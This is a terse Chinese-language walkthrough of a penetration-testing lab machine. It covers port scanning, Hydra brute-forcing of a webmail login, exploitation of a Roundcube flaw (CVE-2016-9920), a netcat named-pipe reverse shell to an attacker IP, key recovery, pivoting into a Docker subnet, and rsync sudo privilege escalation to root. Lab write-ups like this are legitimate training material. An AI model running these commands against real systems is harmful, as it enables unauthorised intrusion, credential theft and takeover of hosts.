nmap -Pn -p- -T4 --min-rate=1000 192.168.180.81
nmap -Pn -p 80,143,993 -sCV 192.168.180.81
查看80端口的页面
得到三个用户名,deez1,p48,all2
对路径进行枚举,得到/zmail
使用Hydra利用得到的三个用户名对HTTP登录进行爆破
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.180.81 http-get /zmail
得到账号密码:p48/electrico ,登录后进入到另一个登录页面。
使用相同的凭证再次登录后,可以看到一封邮件,大致内容是有另一台服务器,是下面的信息使用p48的私钥加密的,可以用来登录。
暂时没有另一台服务器的信息,查找别的内容。在设置里面找到了服务的版本信息。
在exp-db中找到了相关利用信息:https://www.exploit-db.com/exploits/40892
github中的利用脚本:https://github.com/t0kx/exploit-CVE-2016-9920
这里的payload需要对邮箱进行一些修改
利用payload
反弹shell,需要url进行编码
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.49.244 4444 >/tmp/f
利用之前得到的账号密码,切换成p48用户,并在目录内得到了gpg的key
结合之前邮件里的加密信息,利用得到的key,获得了id_rsa
把id_rsa文件传输到靶机,通过ip a查看到有一个docker网段
查看存活的机器,得到172.17.0.2
for i in {1..254} ; do ping -c 1 172.17.0.$i -W 1 &>/dev/null && echo 172.17.0.$i is alive || echo 172.17.0.$i is down ;done
利用ssh登录该机器,发现可以sudo提权
https://gtfobins.github.io/gtfobins/rsync/
在root目录下未发现proof文件,结合docker另一台机器,找到了ssh_key,进行登录,得到了最终的root